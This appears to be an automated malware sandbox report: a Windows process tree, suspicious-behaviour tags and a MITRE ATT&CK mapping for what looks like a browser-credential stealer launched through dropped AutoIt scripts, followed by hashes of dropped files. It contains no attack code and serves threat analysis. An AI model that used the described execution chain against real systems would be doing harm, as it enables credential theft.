    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5344,i,11395862785160211137,13735248474201535193,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=5384 /prefetch:1
    3⤵
    PID:4368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5684,i,6065058673259273315,842110675407503995,524288 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=5588 /prefetch:14
    3⤵
    PID:4184
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5800,i,7477114579924114959,16785019952908137188,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=5340 /prefetch:1
    3⤵
    PID:5364
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=5848,i,11917812101162613110,6654845197174375390,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=5396 /prefetch:1
    3⤵
    PID:2488
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5708,i,1248410904038299819,14807737842905749392,524288 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=6080 /prefetch:14
    3⤵
    PID:4120
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --metrics-shmem-handle=6076,i,15020831205239955459,10733473072905890249,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=5800 /prefetch:1
    3⤵
    PID:1196
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5276,i,773361912945295519,18409409670075230940,524288 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=5288 /prefetch:14
    3⤵
    PID:3764
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --metrics-shmem-handle=5436,i,15039689631706177839,1425344527862279605,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=6076 /prefetch:1
    3⤵
    PID:6072
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=6132,i,2065202360312705301,7658210950247716945,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=5284 /prefetch:1
    3⤵
    PID:4164
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5992,i,12630404241011093533,13028529744866393764,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=4784 /prefetch:1
    3⤵
    PID:4368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5348,i,16467767077395619006,7493896809324363181,2097152 --field-trial-handle=2064,i,18327891103322874322,16993863326081184123,262144 --variations-seed-version --mojo-platform-channel-handle=6124 /prefetch:9
    3⤵
    PID:2396
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-first-run --no-default-browser-check
  2⤵
  - Enumerates system info in registry
  - Modifies registry class
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of WriteProcessMemory
  PID:2068
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=139.0.7258.155 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 --annotation=prod=Edge --annotation=ver=139.0.3405.125 --initial-client-data=0x2f0,0x2f4,0x2f8,0x2cc,0x318,0x7ffc59e4c188,0x7ffc59e4c194,0x7ffc59e4c1a0
    3⤵
    PID:4932
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --always-read-main-dll --metrics-shmem-handle=1672,i,3543913819401230897,10474963845660491021,262144 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:2
    3⤵
    PID:2256
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=1924,i,777308464258039391,11274067550586309956,524288 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=3124 /prefetch:11
    3⤵
    - System Time Discovery
    PID:3468
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-pre-read-main-dll --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=2308,i,16076413315723157731,5052100622351003968,524288 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=3244 /prefetch:13
    3⤵
    PID:3608
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --always-read-main-dll --metrics-shmem-handle=3620,i,8865460796721046015,3078683192628060667,2097152 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=3700 /prefetch:1
    3⤵
    PID:1228
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --instant-process --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --always-read-main-dll --metrics-shmem-handle=3624,i,11023202922783223464,7028409435946952278,2097152 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=3704 /prefetch:1
    3⤵
    PID:4200
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --always-read-main-dll --metrics-shmem-handle=4232,i,11893414834903429518,3316992304036974728,2097152 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=4684 /prefetch:1
    3⤵
    PID:3276
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --extension-process --renderer-sub-type=extension --pdf-upsell-enabled --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --always-read-main-dll --metrics-shmem-handle=4272,i,12352320277083293035,18257721009843252119,2097152 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=4720 /prefetch:9
    3⤵
    PID:5940
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=PooledProcess2 --lang=en-US --service-sandbox-type=utility --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=4864,i,17482529515206746652,8919164136661804005,524288 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=3772 /prefetch:14
    3⤵
    PID:4716
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-US --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5416,i,9683529424267390877,17592604347321009085,524288 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=5488 /prefetch:14
    3⤵
    PID:4476
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5440,i,3377138975592030212,9966973740125061862,524288 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=5420 /prefetch:14
    3⤵
    PID:1416
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6424,i,8018178279543438364,4600913468144769418,524288 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:14
    3⤵
    PID:4528
- - C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6424,i,8018178279543438364,4600913468144769418,524288 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=6440 /prefetch:14
    3⤵
    PID:696
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6576,i,10407995502949374428,18115184430762576147,524288 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=6584 /prefetch:14
    3⤵
    PID:2728
- - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6788,i,16527952153883712032,7527163998151188565,524288 --field-trial-handle=2612,i,8481106128263815041,16034764009841296401,262144 --variations-seed-version --mojo-platform-channel-handle=6780 /prefetch:14
    3⤵
    PID:5692
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile "C:\Users\Public\.ff_tmp"
  2⤵
  PID:4136
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -headless -no-remote -profile C:\Users\Public\.ff_tmp
    3⤵
    - Checks processor information in registry
    - Suspicious use of FindShellTrayWindow
    PID:4760
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 2780 -prefsLen 24445 -prefMapHandle 2784 -prefMapSize 268500 -ipcHandle 2836 -initialChannelId {dd423086-eae6-42d1-bcad-32c2e7faac2d} -parentPid 4760 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4760" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 1 socket
      4⤵
      PID:6080
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2028 -prefsLen 24657 -prefMapHandle 2052 -prefMapSize 268500 -jsInitHandle 2056 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 3628 -initialChannelId {ff8f5f44-ef25-4887-b71c-ba116cecbd70} -parentPid 4760 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4760" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 2 tab
      4⤵
      Checks processor information in registry
      PID:1792
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -prefsHandle 3816 -prefsLen 25541 -prefMapHandle 3820 -prefMapSize 268500 -ipcHandle 3844 -initialChannelId {bacca4be-2bf3-4bc2-8644-496c07c23fb8} -parentPid 4760 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4760" -appDir "C:\Program Files\Mozilla Firefox\browser" - 3 rdd
      4⤵
      PID:4564
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 4112 -prefsLen 25604 -prefMapHandle 4116 -prefMapSize 268500 -jsInitHandle 4120 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4128 -initialChannelId {71027c18-95bd-4f48-a683-be2fb2a5ec01} -parentPid 4760 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4760" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 4 tab
      4⤵
      Checks processor information in registry
      PID:2580
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -parentBuildID 20250130195129 -sandboxingKind 0 -prefsHandle 5052 -prefsLen 36486 -prefMapHandle 5056 -prefMapSize 268500 -ipcHandle 5060 -initialChannelId {28eea18d-6da6-46f8-9f94-8cf6c928c254} -parentPid 4760 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4760" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 5 utility
      4⤵
      Checks processor information in registry
      PID:1388
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5232 -prefsLen 34446 -prefMapHandle 5236 -prefMapSize 268500 -jsInitHandle 5240 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5244 -initialChannelId {dde264f6-fd9e-49d8-a09d-7c2a8d01d392} -parentPid 4760 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4760" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 6 tab
      4⤵
      Checks processor information in registry
      PID:1260
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 5292 -prefsLen 34446 -prefMapHandle 5296 -prefMapSize 268500 -jsInitHandle 5300 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 5240 -initialChannelId {4e0c14c3-5f08-422c-8175-9a67208adf37} -parentPid 4760 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4760" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 7 tab
      4⤵
      Checks processor information in registry
      PID:2340
  - - C:\Program Files\Mozilla Firefox\firefox.exe
      "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc -isForBrowser -prefsHandle 2100 -prefsLen 34446 -prefMapHandle 4664 -prefMapSize 268500 -jsInitHandle 1880 -jsInitLen 253512 -parentBuildID 20250130195129 -ipcHandle 4528 -initialChannelId {96a98d63-02b9-4d06-9e9f-c8b4bbff3c56} -parentPid 4760 -crashReporter "\\.\pipe\gecko-crash-server-pipe.4760" -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - 8 tab
      4⤵
      Checks processor information in registry
      PID:1676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k GPSvcGroup
1⤵
PID:5180

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:4908

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:4116

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:1476

C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\139.0.3405.125\elevation_service.exe"
1⤵
PID:2504

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --no-startup-window --win-session-start
1⤵
PID:6080

C:\Users\Admin\AppData\Roaming\f884a6e114c8\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\f884a6e114c8\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\f884a6e114c8\Fabrics.a3x"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3780
- C:\Users\Admin\AppData\Roaming\f884a6e114c8\RegAsm.exe
  C:\Users\Admin\AppData\Roaming\f884a6e114c8\RegAsm.exe
  2⤵
  - Executes dropped EXE
  PID:2484

C:\Users\Admin\AppData\Roaming\f884a6e114c8\AutoIt3.exe
"C:\Users\Admin\AppData\Roaming\f884a6e114c8\AutoIt3.exe" "C:\Users\Admin\AppData\Roaming\f884a6e114c8\Ips.a3x"
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Reads the TCP/IP host and domain name from the registry
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:3112
- C:\Users\Admin\AppData\Roaming\f884a6e114c8\AutoIt3.exe
  C:\Users\Admin\AppData\Roaming\f884a6e114c8\AutoIt3.exe
  2⤵
  - Executes dropped EXE
  PID:4736

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Privilege Escalation

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Boot or Logon Initialization Scripts

T1037

Logon Script (Windows)

T1037.001

Process Injection

T1055

Defense Evasion

Access Token Manipulation

T1134

Parent PID Spoofing

T1134.004

Modify Registry

T1112

Process Injection

T1055

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

System Time Discovery

T1124

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

update-config.json

Path C:\ProgramData\Mozilla-1de4eec8-1241-4177-a864-e594e8d1fb38\updates\308046B0AF4A39CB\update-config.json
Size 102B
SHA256 ffad3b0fb11fc38ea243bf3f73e27a6034860709b39bf251ef3eca53d4c3afda
MD5 7d1d7e1db5d8d862de24415d9ec9aca4
SHA1 f4cdc5511c299005e775dc602e611b9c67a97c78
SHA512 1688c6725a3607c7b80dfcd6a8bea787f31c21e3368b31cb84635b727675f426b969899a378bd960bd3f27866023163b5460e7c681ae1fcb62f7829b03456477
TLSH
T12BB012800100B658F0FC4CCC05303B3E0248402D44CF3903004D30A0787B0020A094FE
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

messages.json

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en\messages.json
Size 593B
SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
MD5 91f5bc87fd478a007ec68c4e8adf11ac
SHA1 d07dd49e4ef3b36dad7d038b7e999ae850c5bef6
SHA512 fdc2a29b04e67ddbbd8fb6e8d2443e46badcb2b2fb3a850bbd6198cdccc32ee0bd8a9769d929feefe84d1015145e6664ab5fea114df5a864cf963bf98a65ffd9
TLSH
T109F09C8CD050E86F02B2411AB1647314FB51037A0751A59F393CDC0D9FB6DA751C6F4D
MD5 SHA1 SHA512 TLSH

Submit Download

craw_background.js

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
Size 531KB
SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
MD5 6eebed29e6a6301e92a9b8b347807f5f
SHA1 65dfb69b650560551110b33dcba50b25e5b876de
SHA512 fede6db31f2ad242e7bc7b52a8859ba7f466a0b920a8dadcb32dcfb5b2a2742e98b767ff22e0c5bc5c11fec021240aa9e458486c9039eb4ebe5cf6af7be97bf2
SSDEEP 6144:abyfBNC2FRdjiRXqbe5Dq31IVlMqX+wd5/CcMMJcRULt0NjyTOEzZQ+h72W3GB0n:Ft/g
TLSH
T1B5C4F74C34C2E8CD6A623DA5247B9085A2319266F4479ED9F0EDECF21AF44641937F3E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

CURRENT

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
Size 16B
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23
MD5 SHA1 SHA512

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

MANIFEST-000001

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
Size 41B
SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
MD5 5af87dfd673ba2115e2fcf5cfdb727ab
SHA1 d5b5bbf396dc291274584ef71f444f420b6056f1
SHA512 de34583a7dbafe4dd0dc0601e8f6906b9bc6a00c56c9323561204f77abbc0dc9007c480ffe4092ff2f194d54616caf50aecbd4a1e9583cae0c76ad6dd7c2375b
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
Size 4KB
SHA256 5e8dc50495219f876821ae75648868f1969a6d616f52795f4cf0eb156ace6222
MD5 7ad25e528ffc1f5084cf8340dd0758bf
SHA1 abd04620476b8bea56e442ab67070a24186935ea
SHA512 f7a91660f0b57b0fe96d6f15658793d1d0f1d5981d185a92a9ccca5d50b02b44d31a630bd142da6ec18582ebc2e35eb25ad6c5308b0d6ab2e81b114aa2bfb22b
SSDEEP 96:uFC0d+qs7PiY+3oDfAI0jMrRDotok5MgND1B6ndGyvze9aLjbfEv4a:uFC0t+W1I04DUD1L4wL9aLjbu
TLSH
T1CEA11C31E56E8CFB58F6D949B1533A43CF79A26B64215F98D9ED6B1C04B70EC0782123
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 25559293c954898f2da344ed5fe3faf3c076ca2a1868befb99178bedacb3d026
MD5 7921e958d547711c39f2211be9d582e9
SHA1 d327f17351a129da59733ef73c24b256addb1b88
SHA512 29c83b34cc319b93140a7156f0e4fd32fca94b626b32f9aa46eb5471603b5bab4338ee0313db91199b04ee0ff93fc3dd5d552299e129f6c1cd750f4211244525
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7E:fwUQC5VwBIiElEd2K57P7E
TLSH
